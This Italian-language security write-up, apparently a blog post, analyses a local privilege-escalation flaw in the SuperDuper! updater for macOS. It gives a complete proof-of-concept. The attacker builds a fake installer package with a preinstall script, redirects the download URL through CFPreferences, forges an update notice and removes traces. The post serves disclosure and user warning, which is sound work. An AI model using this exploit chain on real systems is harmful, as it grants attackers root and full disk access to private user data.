
Questo problema sembra essere più grave di quanto suggerito dallo sviluppatore, quindi non voglio che questa parte venga dimenticata tra le righe. Lo sviluppatore ha osservato sul suo blog:
Questo può accadere solo se un programma in esecuzione sul tuo sistema cerca SuperDuper per eseguire un aggiornamento, un aggiornamento reale viene presentato attraverso mezzi legittimi e fai clic su Upgrade.
Questo non è vero: sfruttare questa vulnerabilità non richiede che un aggiornamento reale venga presentato attraverso mezzi legittimi. Non accettare mai, assolutamente mai, un aggiornamento fornito da SuperDuper 3.10 e versioni precedenti! Spiego questo aspetto più in dettaglio più avanti.
È anche importante capire che questa vulnerabilità non si limita all'escalation dei privilegi, ma coinvolge anche un sovvertimento dei controlli sulla privacy. Questo dettaglio sembra essere stato omesso dal post del blog dello sviluppatore.
Dal blog dello sviluppatore:
Il nostro meccanismo di aggiornamento automatico può essere dirottato e indotto a installare un pacchetto che non è SuperDuper.
Anche se abbiamo firmato e notarizzato il nostro pacchetto di installazione, Gatekeeper non verifica la notarizzazione quando l'installazione viene eseguita dall'installer di pacchetti di macOS. Di conseguenza, il download potrebbe essere alterato e noi installeremmo quello al suo posto. Poiché l'installazione viene eseguita con privilegi elevati, ciò potrebbe consentire al programma di una terza parte malintenzionata, che dovresti comunque installare, di ottenere accesso amministrativo al tuo sistema.
Dalla CVE:
Un problema in Shirt Pocket SuperDuper! V.3.10 e precedenti consente a un attaccante locale di eseguire codice arbitrario tramite il meccanismo di aggiornamento del software
Questo autore non è lo scopritore della vulnerabilità, che è identificato dallo sviluppatore di SuperDuper come "ricercatore di sicurezza anonimo". Non rivendico alcun merito per la scoperta di questa vulnerabilità, ho solo sviluppato un certo interesse nell'eseguirne un'analisi tecnica.
Punteggio CVSS 3.1: 7.8 Alto (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Per evitare questa vulnerabilità, elimina l'applicazione SuperDuper! oppure applica l'aggiornamento 3.11.
Avvertenza: devi scaricare l'aggiornamento direttamente dal sito web dello sviluppatore per evitare questa vulnerabilità.
Questa analisi dell'exploit e la prova di concetto sono fornite solo a scopo educativo. Utilizzale a tuo rischio.
Invece di implementare una soluzione di aggiornamento software open source testata da centinaia di sviluppatori e professionisti della sicurezza, gli sviluppatori di SuperDuper hanno creato un proprio meccanismo di aggiornamento basato su script di shell insicuri che vengono eseguiti con privilegi di root e accesso completo al disco. Non autenticando il software che viene installato durante l'aggiornamento, SuperDuper viene indotto a installare il software di un attaccante. La correzione dello sviluppatore affronta solo l'aspetto dell'autenticazione di questa vulnerabilità; non affronta le vulnerabilità intrinseche derivanti dall'uso di script di shell per facilitare il processo di aggiornamento.
Il commento dello sviluppatore secondo cui "Gatekeeper non verifica la notarizzazione" è fuorviante. GateKeeper entra in gioco quando tenti di aprire qualcosa scaricato da un browser, ma questo non è applicabile al meccanismo di aggiornamento software interno di un'applicazione. È al 100% responsabilità dello sviluppatore convalidare tutto ciò che il suo software scarica e installa sul tuo computer – non lasciare che questo sviluppatore ti faccia credere che sia un difetto di Gatekeeper. Andando al cuore dell'exploit, un attaccante può indurre SuperDuper a installare un pacchetto alternativo, e questo avviene con privilegi elevati. Presumibilmente verrebbe eseguito anche con accesso completo al disco, perché SuperDuper richiede l'accesso completo al disco per fare qualsiasi cosa.
Il blog dello sviluppatore afferma anche:
Questo può accadere solo se un programma in esecuzione sul tuo sistema cerca SuperDuper per eseguire un aggiornamento, un aggiornamento reale viene presentato attraverso mezzi legittimi e fai clic su Upgrade.
Con questo commento, ho supposto che probabilmente non sarebbe stato possibile riprodurre questo exploit perché avrebbe dovuto coinvolgere modifiche lato server al meccanismo di aggiornamento, che sarebbero state apportate insieme alla pubblicazione della patch 3.11. In altre parole, per impedire che le versioni precedenti del software fossero colpite da questa vulnerabilità, sicuramente avranno disabilitato il meccanismo di aggiornamento, giusto? Beh... Ho scaricato una versione precedente di SuperDuper e quando l'ho aperta, sono stato subito accolto da una notifica di aggiornamento† – a un clic di distanza dal potenziale exploit. Ho trovato tutto ciò molto intrigante: come potrà chiunque usi una versione precedente dell'applicazione essere protetto da questa vulnerabilità se il meccanismo di aggiornamento automatico non è disabilitato? (questo è legato all'"avviso" che ho menzionato all'inizio di questo articolo; tornerò su questa domanda alla fine)
† Più o meno... Il risultato è stato in realtà molto imbarazzante. Non c'era alcuna descrizione dell'aggiornamento né un advisory di sicurezza; la finestra era semplicemente vuota con un pulsante Skip e uno Update. Quindi gli utenti delle versioni precedenti non solo non sono protetti dall'exploit grazie alla disabilitazione del meccanismo di aggiornamento, ma non vengono nemmeno informati del problema tramite il meccanismo di aggiornamento.
Ho proseguito. Quando applichi l'aggiornamento, i meccanismi interni vengono opportunamente registrati nel log di SuperDuper, quindi partiremo da lì per vedere come funziona:
Transcript : UpgradeTranscript.plist
Ext Logging : Disabled
PHASE: 1. Upgrade Application
...ACTION: Downloading upgrade package
......COMMAND => Downloading update package...
......COMMAND => Preparing update package
...ACTION: Installing upgrade package
......COMMAND => Preserving SDAgent owner and mode bits
......COMMAND => Installing upgrade package
installer[3148] <Debug>: Product archive /tmp/SuperDuper!.pkg trustLevel=350
Molte app Mac che non passano dal Mac App Store usano il framework open source Sparkle per gestire (in modo sicuro) gli aggiornamenti software. Non SuperDuper. Qui vediamo che hanno creato il loro, e questo è un grande esempio del perché spesso è una scelta sbagliata. I meccanismi di aggiornamento software sono obiettivi primari per gli exploit, quindi richiedono molto tempo e competenza per essere mantenuti sicuri. "UpgradeTranscript.plist" è un riferimento a un file all'interno dell'applicazione SuperDuper che contiene una serie di comandi di Terminal che SuperDuper usa per scaricare e applicare l'aggiornamento:
cat /Applications/SuperDuper\!.app/Contents/Resources/Transcripts/UpgradeTranscript.plist
<?xml version="1.0" encoding="UTF-8"?>
...
/usr/bin/curl SDHTTPproxy.Host --silent --show-error --output /tmp/superduper.tar.gz -L SDdownloadURL
cd /tmp; if [ -d superduper_install ]; then /bin/rm -rf superduper_install; fi; /bin/mkdir superduper_install; /usr/bin/tar xzf superduper.tar.gz; /bin/rm /tmp/superduper.tar.gz; if [ -d '/Library/Receipts/SuperDuper!.pkg' ]; then /bin/rm -rf '/Library/Receipts/SuperDuper!.pkg'; fi;
/usr/sbin/installer -allow -verboseR -dumplog -pkg '/tmp/SuperDuper!.pkg' -target / >&1 2>&1;
if [ ! -d '/tmp/superduper_install/SuperDuper!.app' ]; then /usr/bin/ditto -rsrc '/Applications/Utilities/SuperDuper!.app' '/tmp/superduper_install/SuperDuper!.app'; fi
/bin/rm -rf '/tmp/SuperDuper!.pkg' '/tmp/superduper_install' '/Library/Receipts/SuperDuper!.pkg'; if [ SDAppBundle.'Path != '/Applications/Utilities/SuperDuper!.app' -a -d '/Applications/Utilities/SuperDuper!.app' ]; then /bin/rm -rf '/Applications/Utilities/SuperDuper!.app'; fi
Vedo almeno quattro problemi in questi comandi e in questa procedura:
I programmi di installazione dei pacchetti possono eseguire script di shell, quindi presumo che questo sia il vettore d'attacco preferito per il pacchetto di installazione alternativo. Iniziamo costruendo un pacchetto che esegue uno script di preinstallazione, poi vediamo come inserirlo nel meccanismo di aggiornamento.
# Use of the "/tmp/superduper_install" installation folder offers convenient cleanup by SuperDuper
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
# create the script. /Library is only writable by root, so we will attempt to create a test file there.
# Getting the content of the Desktop folder requires a user-granted privacy privilege, so we will also attempt
# to pull that folder list into a text file on the desktop to see if we have full disk access. Note that to
# effectively test this part of the exploit, you should revoke Full Disk Access from Terminal.
cd ~; export home=`pwd`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\nexit 0\n" >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
# build the package
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
# put the package in a tar archive
cd /tmp/superduper_install/pkg
tar -cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
Breve parentesi per vedere quale tipo di accesso questo exploit concede all'attaccante – se esegui manualmente lo script di shell (supponendo che il Terminal non abbia Accesso completo al disco né accesso a "File e cartelle"), otterrai due errori:
touch: /Library/test: Permission denied
ls: /Users/user/Desktop: Operation not permitted
Un attaccante può fare molti danni con l'accesso di root, ma anche con l'accesso alla privacy può raggiungere una gamma più ampia di contenuti nella tua cartella home (la scrivania può sembrare banale, ma un sacco di dati privati sono conservati nella cartella Library nascosta). Questo exploit fornisce entrambi.
OK, costruire il pacchetto è stata la parte facile. Come facciamo a intrometterci nel meccanismo di aggiornamento? Sfruttare la race condition era un candidato ovvio, ma mi chiedevo se fosse possibile intervenire in questa parte della procedura:
/usr/bin/curl SDHTTPproxy.Host --silent --show-error --output /tmp/superduper.tar.gz -L SDdownloadURL
Le variabili host e download URL provengono chiaramente dall'esterno dello script. Possono essere manipolate? Le app che usano il meccanismo di aggiornamento software Sparkle spesso memorizzano un URL di "controllo aggiornamenti" in CFPreferences, quindi mi chiedevo se SuperDuper potesse fare lo stesso. Effettivamente sì, ma peggio – invece di memorizzare solo un URL per il controllo degli aggiornamenti, SuperDuper inserisce l'URL di download vero e proprio in CFPreferences:
defaults read com.blacey.SuperDuper
...
UMdownloadURL = "https://s3.amazonaws.com/shirtpocket/SuperDuper/beta/superduper2.tar.gz";
UMfailureCount = 0;
UMinfoURL = "https://s3.amazonaws.com/shirtpocket/SuperDuper/beta/superduperinfo2.rtf";
UMpublicVersion = "137.7";
Ho tentato di sovrascrivere l'URL con un URL del filesystem locale:
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
Ho riaperto SuperDuper e ho fatto clic su Update, ma l'aggiornamento ha proceduto a installare l'aggiornamento dello sviluppatore, non il mio pacchetto alternativo. Ovviamente – quando SuperDuper ha visto di nuovo l'aggiornamento all'avvio, ha riscritto il valore di defaults. Ho riprovato impostando il valore dopo che SuperDuper aveva presentato l'aggiornamento; questa volta ha funzionato! Beh, l'installazione dell'aggiornamento in realtà è fallita, ma l'attacco ha funzionato: il file /Library/test è stato creato.
Ho eliminato il file di test e ripetuto il test per verificare che funzionasse davvero. Ho anche confermato che il file private_data sulla scrivania ora conteneva l'elenco dei contenuti della cartella Desktop – lo script è stato eseguito con Accesso completo al disco.
Avrei potuto fermarmi qui, ma il log degli errori mostrava che l'installazione falliva perché SuperDuper non poteva essere trovato:
COMMAND => Copying upgrade bundle to temporary location
***ERROR OCCURRED: ditto: Cannot get the real path for source '/Applications/Utilities/SuperDuper!.app'
Riesaminando la logica degli script di shell di UpgradeTranscript.plist, ho capito che l'installatore avrebbe potuto effettivamente avere successo se avessi semplicemente copiato l'applicazione SuperDuper nel pacchetto alternativo (ditto emette quell'errore perché /tmp/superduper_install/SuperDuper!.app non esiste). Questa cosa si è rivelata più difficile del previsto; SuperDuper continuava a crashare durante l'installazione. È stato molto più semplice far sì che lo script di preinstallazione copiasse l'app nella posizione prevista in fase di esecuzione:
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
cd ~; export home=`pwd`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\n" >> /tmp/superduper_install/script/preinstall
printf 'cp -R /Applications/SuperDuper\!.app /tmp/superduper_install/SuperDuper\!.app\n' >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
cd /tmp/superduper_install/pkg
tar cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
[Open SuperDuper for the update presentation]
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
Ora SuperDuper ha installato il pacchetto falso e l'operazione è apparsa completata con successo. SuperDuper si è riavviato e ha presentato di nuovo l'aggiornamento, il che è previsto perché ha appena reinstallato la copia della vecchia versione che avevamo messo nella cartella tmp. L'assenza di un messaggio di errore è probabilmente sufficiente a far credere all'utente medio che non ci sia nulla di realmente sbagliato, e farà di nuovo clic su Upgrade, questa volta installando il pacchetto reale dal sito dello sviluppatore. Nel frattempo, l'exploit è già stato attivato e l'utente si limita a scrollare le spalle: "ehi, è stato un po' strano, ma ora funziona".
C'è ancora un problema logistico che renderebbe questo attacco difficile da realizzare: l'attaccante dovrebbe eseguire quel comando "defaults" dopo che l'aggiornamento viene presentato all'utente e prima che l'utente faccia clic sul pulsante Upgrade. È sicuramente fattibile; potresti semplicemente eseguire quel comando "defaults write" in un ciclo infinito in background, ma attirerebbe l'attenzione. All'inizio ho pensato di poter bloccare il file delle preferenze per aggirare il problema:
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
chflags uchg ~/Library/Preferences/com.blacey.SuperDuper.plist
[wait for SD update presentation, then the user can go ahead and apply it without any extra steps]
Ma non ha funzionato. Pensando a come funzionano le preferenze, aveva senso. Le applicazioni non aprono quei file e leggono i valori ogni volta che devono recuperare un'impostazione; piuttosto chiedono il valore all'interfaccia "CFPreferences". Se SuperDuper modifica il valore di UMdownloadURL, CFPreferences conserverà la modifica in memoria anche se il file fisico non viene alterato. Quando SuperDuper successivamente chiede il valore di quell'impostazione, CFPreferences lo prende dalla cache (e la cache viene aggiornata se vengono apportate modifiche ai file fisici).
A questo punto qualcosa mi tormentava davvero: perché lo sviluppatore si sarebbe preoccupato di scrivere l'URL di download in CFPreferences? Sicuramente scriverai quei valori in CFPreferences solo se hai anche intenzione di leggerli da CFPreferences, giusto? Ma perché non memorizzare semplicemente il valore in una variabile da qualche parte in memoria? Ci sono due enormi problemi nell'usare CFPreferences in questo modo che ogni sviluppatore Mac esperto dovrebbe conoscere:
Per testare la mia teoria, ho scritto la preferenza nel dominio "currentHost", che ha la precedenza sul dominio dell'applicazione:
defaults -currentHost write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
Poi ho riavviato SuperDuper e ho fatto clic su Upgrade: il pacchetto alternativo è stato installato. Sbalorditivo. Questo rende l'exploit molto più facile da realizzare; un attaccante potrebbe semplicemente impostare quella preferenza e attendere indefinitamente che venga pubblicato un aggiornamento. Ma aspetta: se SuperDuper recupera il valore dell'URL di download dalle preferenze, potrebbe anche recuperare il numero di versione? Potrebbe un attaccante indurre fondamentalmente un aggiornamento e ingannare SuperDuper facendoglielo presentare, anche se lo sviluppatore non ne ha pubblicato uno? Incredibile, sì! Mettendo tutto insieme, un attaccante potrebbe eseguire questi comandi per far presentare a una versione precedente (non corretta) di SuperDuper! un aggiornamento falso, installare un pacchetto alternativo e, nel frattempo, far rimuovere a SuperDuper ogni traccia dell'attacco:
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\n" >> /tmp/superduper_install/script/preinstall
printf 'cp -R /Applications/SuperDuper\!.app /tmp/superduper_install/SuperDuper\!.app\n' >> /tmp/superduper_install/script/preinstall
printf "sudo -u $user defaults -currentHost delete com.blacey.SuperDuper\n" >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
cd /tmp/superduper_install/pkg
tar cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
defaults -currentHost write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
printf '<span style="font-weight: bold; font-size: 11pt; font-family: sans-serif;"><span style="color: red;">SuperDuper 4.0 (v140)</span> is now available for automatic upgrade!</span>\n' > /tmp/superduper_install/update.html
textutil -convert rtf /tmp/superduper_install/update.html
defaults -currentHost write com.blacey.SuperDuper UMpublicVersion "999"
defaults -currentHost write com.blacey.SuperDuper UMinfoURL "file:///tmp/superduper_install/update.rtf"
open '/Applications/SuperDuper!.app'
Tornando all'inizio di questo articolo, mi chiedevo: "come potrà chiunque usi una versione precedente dell'applicazione essere protetto da questa vulnerabilità se il meccanismo di aggiornamento automatico non è disabilitato?" A quanto pare, non importa se lo sviluppatore disabilita il meccanismo di aggiornamento automatico: questa vulnerabilità può essere sfruttata senza (o nonostante) qualsiasi modifica lato server, e non richiede nemmeno che lo sviluppatore pubblichi un aggiornamento "reale". L'unica mitigazione è che gli utenti rifiutino sempre un aggiornamento automatico finché non hanno aggiornato manualmente a una versione corretta del prodotto.